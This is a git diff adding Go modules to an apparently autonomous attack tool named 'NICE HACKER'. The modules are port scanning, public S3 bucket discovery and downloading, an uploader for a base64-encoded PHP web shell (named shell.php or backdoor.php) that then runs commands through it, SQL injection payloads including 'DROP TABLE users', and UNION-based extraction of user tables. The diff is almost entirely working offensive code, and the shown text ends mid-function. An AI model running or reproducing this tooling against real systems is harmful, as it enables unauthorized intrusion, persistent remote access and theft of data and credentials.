9300, 9418, 9999, +} + +func (a *PortScanAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + hosts := extractHosts(kb, target) + if len(hosts) == 0 { + return ActionResult{} + } + + maxHosts := 3 + if len(hosts) > maxHosts { + hosts = hosts[:maxHosts] + } + + maxPorts := 30 + ports := topPorts + if len(ports) > maxPorts { + ports = ports[:maxPorts] + } + + type scanTarget struct { + host string + port int + } + + targets := make(chan scanTarget) + results := make(chan Finding, 100) + + var wg sync.WaitGroup + numWorkers := 20 + + for i := 0; i < numWorkers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for t := range targets { + select { + case <-ctx.Done(): + return + default: + } + + addr := net.JoinHostPort(t.host, strconv.Itoa(t.port)) + conn, err := net.DialTimeout("tcp", addr, 2*time.Second) + if err != nil { + continue + } + conn.Close() + + service := guessService(t.port) + results <- Finding{ + Type: "open_port", + Name: fmt.Sprintf("Open port: %s/%d (%s)", t.host, t.port, service), + Severity: classifyPortSeverity(t.port), + Description: fmt.Sprintf("Port %d open on %s — %s", t.port, t.host, service), + Evidence: addr, + } + + kb.AddEndpoint(Endpoint{ + Path: addr, + Method: "TCP", + Status: 0, + ContentType: service, + }) + } + }() + } + + go func() { + for _, host := range hosts { + for _, port := range ports { + select { + case <-ctx.Done(): + close(targets) + return + default: + targets <- scanTarget{host, port} + } + } + } + close(targets) + }() + + go func() { + wg.Wait() + close(results) + }() + + var findings []Finding + for f := range results { + findings = append(findings, f) + } + + return ActionResult{Findings: findings} +} + +func extractHosts(kb *Knowledge, target string) []string { + var hosts []string + seen := make(map[string]bool) + + caps := kb.GetCapabilities() + for _, c := range caps { + if c.Name == "has_subdomain" && c.Details != nil { + if list, ok := c.Details["list"]; ok { + for _, h := range strings.Split(list, ", ") { + h = strings.TrimSpace(h) + if h != "" && !seen[h] { + hosts = append(hosts, h) + seen[h] = true + } + } + } + } + } + + targetHost := extractDomain(target) + if !seen[targetHost] { + hosts = append(hosts, targetHost) + } + + return hosts +} + +func guessService(port int) string { + services := map[int]string{ + 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", + 80: "HTTP", 110: "POP3", 111: "RPC", 135: "RPC", 139: "NetBIOS", + 143: "IMAP", 389: "LDAP", 443: "HTTPS", 445: "SMB", 465: "SMTPS", + 514: "Syslog", 587: "SMTP", 593: "HTTP RPC", 636: "LDAPS", + 993: "IMAPS", 995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN", + 1352: "Lotus Notes", 1433: "MSSQL", 1434: "MSSQL Browser", + 1521: "Oracle DB", 1723: "PPTP", 2049: "NFS", 2181: "ZooKeeper", + 2375: "Docker", 2376: "Docker TLS", 3000: "HTTP-Alt", + 3128: "Squid", 3306: "MySQL", 3389: "RDP", 3690: "SVN", + 4000: "HTTP-Alt", 4443: "HTTPS-Alt", 4848: "GlassFish", + 5000: "HTTP-Alt", 5432: "PostgreSQL", 5555: "Android ADB", + 5632: "PCAnywhere", 5800: "VNC-Alt", 5900: "VNC", + 5984: "CouchDB", 6379: "Redis", 6443: "HTTPS-Alt", + 6667: "IRC", 7001: "WebLogic", 7077: "Mesos", + 8000: "HTTP-Alt", 8080: "HTTP-Proxy", 8443: "HTTPS-Alt", + 8888: "HTTP-Alt", 9000: "HTTP-Alt", 9042: "Cassandra", + 9090: "HTTP-Alt", 9092: "Kafka", 9200: "Elasticsearch", + 9300: "Elasticsearch", 9418: "Git", 9999: "HTTP-Alt", + } + if s, ok := services[port]; ok { + return s + } + return "Unknown" +} + +func classifyPortSeverity(port int) Severity { + switch port { + case 21, 23, 25, 110, 143, 135, 445, 2049, 3389, 3306, 5432, 6379, 27017: + return SevHigh + case 22, 80, 443: + return SevMedium + case 53, 389, 636, 993, 995: + return SevLow + default: + return SevLow + } +} diff --git a/internal/hacker/report_html.go b/internal/hacker/report_html.go new file mode 100644 index 0000000..ed419db --- /dev/null +++ b/internal/hacker/report_html.go @@ -0,0 +1,271 @@ +package hacker + +import ( + "bytes" + "fmt" + "html" + "time" +) + +func RenderHTMLReport(r *Report) string { + var buf bytes.Buffer + + buf.WriteString(` + + + + +NICE HACKER — Attack Report + + + +
+
+

NICE HACKER — Attack Report

+
Autonomous penetration test generated `+fmt.Sprintf("on %s", time.Now().Format("January 2, 2006 at 15:04"))+`
+
+ +
+
+
Target
+
`+html.EscapeString(r.Target)+`
+
+
+
Duration
+
`+fmt.Sprintf("%.0f", r.Duration.Seconds())+`s
+
+
+
Steps
+
`+fmt.Sprintf("%d", r.Steps)+`
+
+
+
Risk Score
+
`+fmt.Sprintf("%.1f", r.RiskScore)+` / 10
+
+
+`) + + buf.WriteString(`
+

Impact Summary

+

` + html.EscapeString(r.Impact) + `

+
+`) + + if len(r.AttackChains) > 0 { + buf.WriteString(`
+

Attack Chains Discovered

+`) + for _, chain := range r.AttackChains { + buf.WriteString(fmt.Sprintf( + `
+
⚡ %s
+
Risk: %.0f/10
+
→ %s
+
+`, + html.EscapeString(chain.Name), + riskClass(chain.RiskScore), + chain.RiskScore, + html.EscapeString(chain.Impact), + )) + } + buf.WriteString("
\n") + } + + if len(r.Findings) > 0 { + buf.WriteString(`
+

Findings

+`) + for _, f := range r.Findings { + sev := string(f.Severity) + buf.WriteString(fmt.Sprintf( + `
+
%s
+
%s
+
%s
+
%s
+
+`, + sev, sevClass(f.Severity), + sev, + html.EscapeString(f.Name), + html.EscapeString(f.Description), + html.EscapeString(f.Evidence), + )) + } + buf.WriteString("
\n") + } + + if len(r.Capabilities) > 0 { + buf.WriteString(`
+

Capabilities Acquired

+
+`) + for _, c := range r.Capabilities { + buf.WriteString(fmt.Sprintf( + ` %s +`, + html.EscapeString(c.Name), + )) + } + buf.WriteString("
\n
\n") + } + + if len(r.Credentials) > 0 { + buf.WriteString(`
+

Credentials Obtained

+`) + for _, c := range r.Credentials { + valid := "valid" + if !c.Valid { + valid = "tested" + } + buf.WriteString(fmt.Sprintf( + `
+
%s:%s (%s)
+
Source: %s
+
+`, + html.EscapeString(c.Username), html.EscapeString(c.Password), valid, + html.EscapeString(c.Source), + )) + } + buf.WriteString("
\n") + } + + if len(r.Endpoints) > 0 { + buf.WriteString(`
+

Endpoints Discovered

+`) + for _, e := range r.Endpoints { + buf.WriteString(fmt.Sprintf( + `
%s %s [%d]
+`, + e.Method, e.Method, + html.EscapeString(e.Path), e.Status, + )) + } + buf.WriteString("
\n") + } + + if len(r.Pages) > 0 { + buf.WriteString(fmt.Sprintf(`
+

Pages Crawled (%d)

+`, len(r.Pages))) + for _, p := range r.Pages { + buf.WriteString(fmt.Sprintf( + `
%s (%d bytes, %d forms, %d links, %d JS)
+`, + html.EscapeString(p.URL), p.BodyLen, p.Forms, len(p.Links), len(p.JSFiles), + )) + } + buf.WriteString("
\n") + } + + buf.WriteString(fmt.Sprintf(` +
+ +`, r.Steps, r.Duration.Seconds())) + + return buf.String() +} + +func riskClass(score float64) string { + switch { + case score >= 9.0: + return "critical" + case score >= 7.0: + return "high" + case score >= 5.0: + return "medium" + default: + return "low" + } +} + +func sevClass(s Severity) string { + switch s { + case SevCritical: + return "sev-critical" + case SevHigh: + return "sev-high" + case SevMedium: + return "sev-medium" + case SevLow: + return "sev-low" + default: + return "sev-info" + } +} diff --git a/internal/hacker/reportdir.go b/internal/hacker/reportdir.go new file mode 100644 index 0000000..729e3dc --- /dev/null +++ b/internal/hacker/reportdir.go @@ -0,0 +1,114 @@ +package hacker + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "time" +) + +type ReportDir struct { + mu sync.Mutex + BasePath string + Target string +} + +func NewReportDir(target string) *ReportDir { + name := extractDomain(target) + safeName := strings.ReplaceAll(name, ":", "_") + safeName = strings.ReplaceAll(safeName, "/", "_") + safeName = strings.ReplaceAll(safeName, ".", "_") + + base := filepath.Join("reports", safeName) + rd := &ReportDir{ + BasePath: base, + Target: target, + } + rd.ensureDirs() + return rd +} + +func (rd *ReportDir) ensureDirs() { + dirs := []string{ + rd.BasePath, + filepath.Join(rd.BasePath, "sql_dump"), + filepath.Join(rd.BasePath, "lfi_files"), + filepath.Join(rd.BasePath, "cmd_output"), + filepath.Join(rd.BasePath, "s3_dump"), + filepath.Join(rd.BasePath, "shells"), + filepath.Join(rd.BasePath, "crawl_auth"), + } + for _, d := range dirs { + os.MkdirAll(d, 0755) + } +} + +func (rd *ReportDir) Save(subdir, name string, data []byte) string { + rd.mu.Lock() + defer rd.mu.Unlock() + + safeName := strings.ReplaceAll(name, "/", "_") + safeName = strings.ReplaceAll(safeName, "\\", "_") + safeName = strings.ReplaceAll(safeName, "..", "_") + + fullPath := filepath.Join(rd.BasePath, subdir, safeName) + os.WriteFile(fullPath, data, 0644) + return fullPath +} + +func (rd *ReportDir) SaveWithPrefix(subdir, prefix, name string, data []byte) string { + rd.mu.Lock() + defer rd.mu.Unlock() + + safeName := strings.ReplaceAll(name, "/", "_") + safeName = strings.ReplaceAll(safeName, "\\", "_") + safeName = strings.ReplaceAll(safeName, "..", "_") + + fullPath := filepath.Join(rd.BasePath, subdir, prefix+"_"+safeName) + os.WriteFile(fullPath, data, 0644) + return fullPath +} + +func (rd *ReportDir) Base() string { + return rd.BasePath +} + +func (rd *ReportDir) GenerateSummary() string { + var totalFiles int + var totalBytes int64 + + filepath.Walk(rd.BasePath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if !info.IsDir() { + totalFiles++ + totalBytes += info.Size() + } + return nil + }) + + return fmt.Sprintf("%d files extracted (%.1f KB) in %s", + totalFiles, float64(totalBytes)/1024, rd.BasePath) +} + +func (rd *ReportDir) ListFiles(subdir string) []string { + var files []string + dir := filepath.Join(rd.BasePath, subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return nil + } + for _, e := range entries { + if !e.IsDir() { + files = append(files, e.Name()) + } + } + return files +} + +func generateReportFilename() string { + return fmt.Sprintf("reports/attack_%s.html", time.Now().Format("20060102_150405")) +} diff --git a/internal/hacker/s3.go b/internal/hacker/s3.go new file mode 100644 index 0000000..8d4b92b --- /dev/null +++ b/internal/hacker/s3.go @@ -0,0 +1,215 @@ +package hacker + +import ( + "context" + "fmt" + "sort" + "strings" + "sync" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type S3Action struct{} + +func (a *S3Action) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "S3 Bucket Enumeration", + Description: "Check discovered subdomains and patterns for open S3 buckets", + Priority: 60, + Requires: []string{"has_subdomain"}, + Provides: []string{"has_s3"}, + } +} + +func (a *S3Action) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + candidates := generateBucketNames(target, kb) + if len(candidates) > 20 { + candidates = candidates[:20] + } + + s3Endpoints := []string{ + "s3.amazonaws.com", + } + + type check struct { + url string + bucket string + } + + type bucketResult struct { + finding Finding + bucketURL string + } + + checks := make(chan check) + results := make(chan bucketResult, 50) + + var wg sync.WaitGroup + for i := 0; i < 10; i++ { + wg.Add(1) + go func() { + defer wg.Done() + fastClient := transport.NewClient( + transport.WithTimeout(3*time.Second), + transport.WithRetries(0), + ) + defer fastClient.Close() + + for c := range checks { + select { + case <-ctx.Done(): + return + default: + } + + resp, err := fastClient.Do(ctx, &types.Request{ + Method: "GET", + URL: c.url, + }) + if err != nil { + continue + } + + if isPublicBucket(resp) { + results <- bucketResult{ + finding: Finding{ + Type: "s3_public", + Name: fmt.Sprintf("Public S3 bucket: %s", c.bucket), + Severity: SevCritical, + Description: fmt.Sprintf("Bucket %s is publicly accessible", c.bucket), + Evidence: c.url, + }, + bucketURL: c.url, + } + } + } + }() + } + + go func() { + for _, bucket := range candidates { + for _, endpoint := range s3Endpoints { + select { + case <-ctx.Done(): + close(checks) + return + default: + checks <- check{ + url: fmt.Sprintf("https://%s.%s", bucket, endpoint), + bucket: bucket, + } + } + } + } + close(checks) + }() + + go func() { + wg.Wait() + close(results) + }() + + var findings []Finding + var spawned []Action + for r := range results { + findings = append(findings, r.finding) + spawned = append(spawned, &S3DumpAction{ + bucketURL: r.bucketURL, + bucket: extractBucketName(r.bucketURL), + }) + } + + sort.Slice(findings, func(i, j int) bool { + return findings[i].Severity > findings[j].Severity + }) + + return ActionResult{Findings: findings, Actions: spawned} +} + +func generateBucketNames(target string, kb *Knowledge) []string { + var candidates []string + seen := make(map[string]bool) + + domain := extractDomain(target) + name := strings.Split(domain, ".")[0] + + patterns := []string{ + name, name + "-backup", name + "-backups", + name + "-data", name + "-files", name + "-assets", + name + "-static", name + "-media", name + "-uploads", + name + "-dev", name + "-test", name + "-staging", + name + "-prod", name + "-logs", name + "-config", + name + "-db", name + "-database", name + "-storage", + domain, strings.ReplaceAll(domain, ".", "-"), + "dev-" + name, "prod-" + name, "test-" + name, + "backup-" + name, "data-" + name, "static-" + name, + } + + caps := kb.GetCapabilities() + for _, c := range caps { + if c.Name == "has_subdomain" && c.Details != nil { + if list, ok := c.Details["list"]; ok { + for _, sd := range strings.Split(list, ", ") { + sd = strings.TrimSpace(sd) + sdName := strings.Split(sd, ".")[0] + sdPatterns := []string{ + sdName, sdName + "-backup", sdName + "-data", + sdName + "-static", sdName + "-assets", + } + for _, p := range sdPatterns { + if !seen[p] { + candidates = append(candidates, p) + seen[p] = true + } + } + } + } + } + } + + for _, p := range patterns { + if !seen[p] { + candidates = append(candidates, p) + seen[p] = true + } + } + + return candidates +} + +func isPublicBucket(resp *types.Response) bool { + if resp.StatusCode == 200 || resp.StatusCode == 301 || resp.StatusCode == 307 { + body := string(resp.Body) + lowBody := strings.ToLower(body) + if strings.Contains(lowBody, "listbucketresult") || + strings.Contains(lowBody, "contents") || + strings.Contains(lowBody, "") || + strings.Contains(lowBody, "") || + strings.Contains(lowBody, "anonymous") { + return true + } + if !strings.Contains(lowBody, "accessdenied") && + !strings.Contains(lowBody, "access denied") && + !strings.Contains(lowBody, "notfound") { + // Possible directory listing + if len(resp.Body) > 100 && len(resp.Body) < 100000 { + return true + } + } + } + return false +} + +func extractBucketName(bucketURL string) string { + // https://bucket-name.s3.amazonaws.com + trimmed := strings.TrimPrefix(bucketURL, "https://") + trimmed = strings.TrimPrefix(trimmed, "http://") + parts := strings.SplitN(trimmed, ".", 2) + if len(parts) > 0 { + return parts[0] + } + return bucketURL +} diff --git a/internal/hacker/s3_exploit.go b/internal/hacker/s3_exploit.go new file mode 100644 index 0000000..7896b62 --- /dev/null +++ b/internal/hacker/s3_exploit.go @@ -0,0 +1,127 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type S3DumpAction struct { + bucketURL string + bucket string +} + +func (a *S3DumpAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "S3 Bucket Dumper", + Description: "List and download contents of public S3 bucket", + Priority: 61, + Requires: []string{}, + Provides: []string{"data_extracted"}, + } +} + +func (a *S3DumpAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + + listURL := a.bucketURL + "/?list-type=2" + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: listURL, + }) + if err != nil { + return ActionResult{} + } + + body := string(resp.Body) + if !strings.Contains(body, "") && !strings.Contains(body, "") { + return ActionResult{} + } + + files := extractBucketFiles(body) + if len(files) == 0 { + return ActionResult{} + } + + var fileList strings.Builder + fileList.WriteString(fmt.Sprintf("S3 Bucket: %s\n", a.bucketURL)) + fileList.WriteString(fmt.Sprintf("Files: %d\n", len(files))) + fileList.WriteString(strings.Repeat("-", 50) + "\n") + + for _, f := range files { + fileList.WriteString(f + "\n") + } + fileList.WriteString("\n") + + fileListPath := kb.ReportDir.Save("s3_dump", "file_listing.txt", []byte(fileList.String())) + findings = append(findings, Finding{ + Type: "s3_listing", + Name: fmt.Sprintf("S3 bucket listing: %d files", len(files)), + Severity: SevCritical, + Description: fmt.Sprintf("Bucket %s has %d files", a.bucket, len(files)), + Evidence: fileListPath, + }) + + for _, f := range files[:minInt(10, len(files))] { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + fileURL := a.bucketURL + "/" + f + fileResp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: fileURL, + }) + if err != nil { + continue + } + + if len(fileResp.Body) > 0 { + savedPath := kb.ReportDir.Save("s3_dump", "file_"+sanitizeFilename(f), fileResp.Body) + findings = append(findings, Finding{ + Type: "s3_file_downloaded", + Name: fmt.Sprintf("S3 file: %s", f), + Severity: SevHigh, + Description: fmt.Sprintf("Downloaded %s (%d bytes)", f, len(fileResp.Body)), + Evidence: savedPath, + }) + } + } + + return ActionResult{Findings: findings} +} + +func extractBucketFiles(xmlBody string) []string { + var files []string + content := xmlBody + for { + keyStart := strings.Index(content, "") + if keyStart == -1 { + break + } + keyEnd := strings.Index(content[keyStart:], "") + if keyEnd == -1 { + break + } + key := content[keyStart+5 : keyStart+keyEnd] + key = strings.TrimSpace(key) + if key != "" && !strings.HasSuffix(key, "/") { + files = append(files, key) + } + content = content[keyStart+keyEnd+6:] + } + return files +} + +func sanitizeFilename(name string) string { + name = strings.ReplaceAll(name, "/", "_") + name = strings.ReplaceAll(name, "\\", "_") + name = strings.ReplaceAll(name, "..", "_") + name = strings.ReplaceAll(name, ":", "_") + return name +} diff --git a/internal/hacker/session.go b/internal/hacker/session.go new file mode 100644 index 0000000..81cbfbb --- /dev/null +++ b/internal/hacker/session.go @@ -0,0 +1,93 @@ +package hacker + +import ( + "net/http" + "sync" +) + +type SessionManager struct { + mu sync.RWMutex + cookies []*http.Cookie + headers map[string]string + tokens []string + activeJWT string +} + +func NewSessionManager() *SessionManager { + return &SessionManager{ + headers: make(map[string]string), + } +} + +func (sm *SessionManager) AddCookies(cookies []*http.Cookie) { + sm.mu.Lock() + defer sm.mu.Unlock() + for _, c := range cookies { + if c.Value == "" { + continue + } + existing := false + for i, existingCookie := range sm.cookies { + if existingCookie.Name == c.Name && existingCookie.Domain == c.Domain { + sm.cookies[i] = c + existing = true + break + } + } + if !existing { + sm.cookies = append(sm.cookies, c) + } + } +} + +func (sm *SessionManager) SetHeader(key, value string) { + sm.mu.Lock() + defer sm.mu.Unlock() + sm.headers[key] = value +} + +func (sm *SessionManager) AddToken(tok string) { + sm.mu.Lock() + defer sm.mu.Unlock() + for _, t := range sm.tokens { + if t == tok { + return + } + } + sm.tokens = append(sm.tokens, tok) + if len(sm.tokens) == 1 { + sm.activeJWT = tok + } +} + +func (sm *SessionManager) SetActiveJWT(tok string) { + sm.mu.Lock() + defer sm.mu.Unlock() + sm.activeJWT = tok +} + +func (sm *SessionManager) GetActiveJWT() string { + sm.mu.RLock() + defer sm.mu.RUnlock() + return sm.activeJWT +} + +func (sm *SessionManager) HasSession() bool { + sm.mu.RLock() + defer sm.mu.RUnlock() + return len(sm.cookies) > 0 || len(sm.tokens) > 0 +} + +func (sm *SessionManager) Apply(req *http.Request) { + sm.mu.RLock() + defer sm.mu.RUnlock() + for _, c := range sm.cookies { + req.AddCookie(c) + } + for k, v := range sm.headers { + req.Header.Set(k, v) + } + if sm.activeJWT != "" { + req.Header.Set("Authorization", "Bearer "+sm.activeJWT) + } +} diff --git a/internal/hacker/shell_exploit.go b/internal/hacker/shell_exploit.go new file mode 100644 index 0000000..abbe51a --- /dev/null +++ b/internal/hacker/shell_exploit.go @@ -0,0 +1,114 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type WebShellAction struct { + vulnURL string + uploadURL string + filename string + fileType string +} + +func (a *WebShellAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Web Shell Deploy", + Description: "Upload webshell and establish persistent access", + Priority: 76, + Requires: []string{}, + Provides: []string{"has_rce", "has_shell"}, + } +} + +var phpShellB64 = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+" + +func (a *WebShellAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + + phpShell, _ := base64.StdEncoding.DecodeString(phpShellB64) + + filenames := []string{ + a.filename, + a.filename + ".php", + "shell.php", + "backdoor.php", + "cmd.php", + "uploads/shell.php", + } + + for _, fname := range filenames { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: a.vulnURL, + Body: phpShell, + Headers: map[string]string{ + "Content-Disposition": fmt.Sprintf(`form-data; name="file"; filename="%s"`, fname), + "Content-Type": "application/x-php", + }, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if resp.StatusCode == 200 || resp.StatusCode == 201 || resp.StatusCode == 302 { + if !strings.Contains(strings.ToLower(body), "error") && !strings.Contains(strings.ToLower(body), "invalid") { + + shellURL := a.uploadURL + "/" + fname + + verifyResp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: shellURL, + }) + if err == nil && verifyResp.StatusCode == 200 { + savedPath := kb.ReportDir.Save("shells", fname+".php", phpShell) + findings = append(findings, Finding{ + Type: "webshell_deployed", + Name: "Web shell deployed — RCE confirmed", + Severity: SevCritical, + Description: fmt.Sprintf("Shell at %s?cmd=whoami", shellURL), + Evidence: savedPath, + }) + + kb.AddCapability(Capability{ + Name: "has_rce", + Target: target, + }) + kb.AddCapability(Capability{ + Name: "has_shell", + Target: target, + }) + + whoamiURL := shellURL + "?cmd=whoami" + whoamiResp, _ := client.Do(ctx, &types.Request{Method: "GET", URL: whoamiURL}) + if whoamiResp != nil && len(whoamiResp.Body) > 0 { + findings = append(findings, Finding{ + Type: "rce_whoami", + Name: "RCE: whoami executed via web shell", + Severity: SevCritical, + Description: string(whoamiResp.Body), + Evidence: whoamiURL, + }) + } + + return ActionResult{Findings: findings} + } + } + } + } + + return ActionResult{Findings: findings} +} diff --git a/internal/hacker/sqli.go b/internal/hacker/sqli.go new file mode 100644 index 0000000..35c2fd1 --- /dev/null +++ b/internal/hacker/sqli.go @@ -0,0 +1,203 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type SQLiAction struct{} + +func (a *SQLiAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "SQL Injection", + Description: "Error-based + time-based SQL injection detection", + Priority: 50, + Requires: []string{"has_sqli"}, + Provides: []string{"has_sqli_exploit"}, + } +} + +var sqliPayloads = []struct { + name string + payload string +}{ + {"Single quote", "'"}, + {"Double quote", "\""}, + {"SQL comment", "'--"}, + {"SQL comment #", "'#"}, + {"OR true", "' OR '1'='1"}, + {"OR true 2", "' OR 1=1--"}, + {"OR true 3", "OR 1=1"}, + {"OR true 4", "1' OR '1'='1"}, + {"AND true", "' AND '1'='1"}, + {"UNION select", "' UNION SELECT NULL--"}, + {"UNION select 2", "' UNION SELECT 1,2,3--"}, + {"UNION all", "' UNION ALL SELECT NULL--"}, + {"Admin bypass 1", "' OR '1'='1' --"}, + {"Admin bypass 2", "admin' --"}, + {"Admin bypass 3", "admin' #"}, + {"Time sleep 5", "' OR SLEEP(5)--"}, + {"Time sleep 5 pg", "' OR pg_sleep(5)--"}, + {"Time waitfor", "'; WAITFOR DELAY '0:0:5'--"}, + {"Stacked query", "'; DROP TABLE users--"}, + {"Order by", "' ORDER BY 1--"}, + {"Group by", "' GROUP BY 1--"}, + {"Having", "' HAVING 1=1--"}, +} + +var sqliErrors = []string{ + "SQL syntax", "mysql_fetch", "ORA-", "Oracle", "SQLite", + "PostgreSQL", "unclosed quotation mark", "Incorrect syntax", + "Warning: mysql", "Division by zero", "Syntax error", + "Microsoft OLE DB", "Invalid query", "mysql_result", + "pg_query", "SQLITE_ERROR", "sqlite3", "ODBC", + "SQL command not properly", "DB2", "Firebird", +} + +func (a *SQLiAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + if len(endpoints) == 0 { + pages := kb.GetPages() + for _, p := range pages { + if strings.Contains(p.URL, "?") { + for _, param := range extractURLParams(p.URL) { + result := testParam(ctx, client, p.URL, param) + if result != nil { + findings = append(findings, *result) + } + } + } + } + } + + for _, ep := range endpoints { + for _, param := range commonSQLiParams { + testURL := ep.Path + if strings.Contains(testURL, "?") { + testURL += "&" + param + "=1" + } else { + testURL += "?" + param + "=1" + } + + for _, p := range sqliPayloads { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings, Actions: spawned} + default: + } + + payloadURL := strings.Replace(testURL, "=1", "="+p.payload, 1) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: payloadURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if hasSQLError(body) { + findings = append(findings, Finding{ + Type: "sqli_error", + Name: fmt.Sprintf("SQLi: %s via param %s", p.name, param), + Severity: SevHigh, + Description: fmt.Sprintf("Database error detected with payload: %s", p.payload), + Evidence: fmt.Sprintf("URL: %s", payloadURL), + }) + + spawned = append(spawned, &SQLiDataExtractAction{ + vulnURL: payloadURL, + param: param, + payload: p.payload, + }) + break + } + + if strings.Contains(p.name, "Time sleep") { + start := time.Now() + client.Do(ctx, &types.Request{Method: "GET", URL: payloadURL}) + if time.Since(start) >= 4*time.Second { + findings = append(findings, Finding{ + Type: "sqli_time", + Name: fmt.Sprintf("SQLi Time-Based: %s via %s", p.name, param), + Severity: SevCritical, + Description: fmt.Sprintf("Response delayed by %v", time.Since(start)), + Evidence: payloadURL, + }) + + spawned = append(spawned, &SQLiDataExtractAction{ + vulnURL: payloadURL, + param: param, + payload: p.payload, + }) + break + } + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +var commonSQLiParams = []string{ + "id", "user_id", "userId", "user", "uid", "username", + "page", "p", "cat", "category", "product", "prod", + "order", "sort", "search", "q", "s", "query", + "file", "path", "dir", "action", "cmd", + "email", "pass", "url", "redirect", +} + +func hasSQLError(body string) bool { + lowBody := strings.ToLower(body) + for _, err := range sqliErrors { + if strings.Contains(lowBody, strings.ToLower(err)) { + return true + } + } + return false +} + +func extractURLParams(urlStr string) []string { + var params []string + if strings.Contains(urlStr, "?") { + parts := strings.SplitN(urlStr, "?", 2) + for _, pair := range strings.Split(parts[1], "&") { + kv := strings.SplitN(pair, "=", 2) + if len(kv) == 2 && len(kv[0]) > 0 { + params = append(params, kv[0]) + } + } + } + return params +} + +func testParam(ctx context.Context, client *transport.Client, url, param string) *Finding { + testPayload := "' OR '1'='1" + base := strings.SplitN(url, "?", 2) + testURL := base[0] + "?" + param + "=" + testPayload + + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + return nil + } + + if hasSQLError(string(resp.Body)) { + return &Finding{ + Type: "sqli_error", + Name: fmt.Sprintf("SQLi in param: %s", param), + Severity: SevHigh, + Description: fmt.Sprintf("SQL error detected with: %s", testPayload), + Evidence: testURL, + } + } + return nil +} diff --git a/internal/hacker/sqli_exploit.go b/internal/hacker/sqli_exploit.go new file mode 100644 index 0000000..ed2bedf --- /dev/null +++ b/internal/hacker/sqli_exploit.go @@ -0,0 +1,336 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type SQLiDataExtractAction struct { + vulnURL string + param string + payload string +} + +func (a *SQLiDataExtractAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "SQLi Data Extraction", + Description: "UNION SELECT — enumerate columns, tables, dump users", + Priority: 51, + Requires: []string{}, + Provides: []string{"data_extracted"}, + } +} + +func (a *SQLiDataExtractAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var allOutput strings.Builder + allOutput.WriteString(fmt.Sprintf("SQLi Data Extraction Report\n")) + allOutput.WriteString(fmt.Sprintf("URL: %s\n", a.vulnURL)) + allOutput.WriteString(fmt.Sprintf("Param: %s\n", a.param)) + allOutput.WriteString(fmt.Sprintf("Payload: %s\n", a.payload)) + allOutput.WriteString(strings.Repeat("-", 50) + "\n") + + baseURL := a.vulnURL + if idx := strings.Index(baseURL, "="+a.payload); idx > 0 { + baseURL = baseURL[:idx+1] + } + if idx := strings.Index(baseURL, "?"); idx > 0 { + baseURL = baseURL[:idx] + } + + var findings []Finding + colCount := findColumnCount(ctx, client, baseURL, a.param) + if colCount > 0 { + allOutput.WriteString(fmt.Sprintf("Columns: %d\n", colCount)) + findings = append(findings, Finding{ + Type: "sqli_columns", + Name: fmt.Sprintf("SQLi: %d columns detected", colCount), + Severity: SevHigh, + Description: fmt.Sprintf("UNION SELECT with %d columns works", colCount), + }) + + version := extractVersion(ctx, client, baseURL, a.param, colCount) + if version != "" { + allOutput.WriteString(fmt.Sprintf("DB Version: %s\n", version)) + findings = append(findings, Finding{ + Type: "sqli_db_version", + Name: fmt.Sprintf("Database: %s", version), + Severity: SevHigh, + Description: "Database version extracted via SQL injection", + Evidence: version, + }) + } + + tables := extractTables(ctx, client, baseURL, a.param, colCount) + if len(tables) > 0 { + allOutput.WriteString(fmt.Sprintf("Tables: %s\n", strings.Join(tables, ", "))) + userTable := findUserTable(tables) + if userTable != "" { + allOutput.WriteString(fmt.Sprintf("User table: %s\n", userTable)) + columns := extractColumns(ctx, client, baseURL, a.param, colCount, userTable) + if len(columns) > 0 { + allOutput.WriteString(fmt.Sprintf("Columns: %s\n", strings.Join(columns, ", "))) + userData := extractUsers(ctx, client, baseURL, a.param, colCount, userTable, columns) + if len(userData) > 0 { + 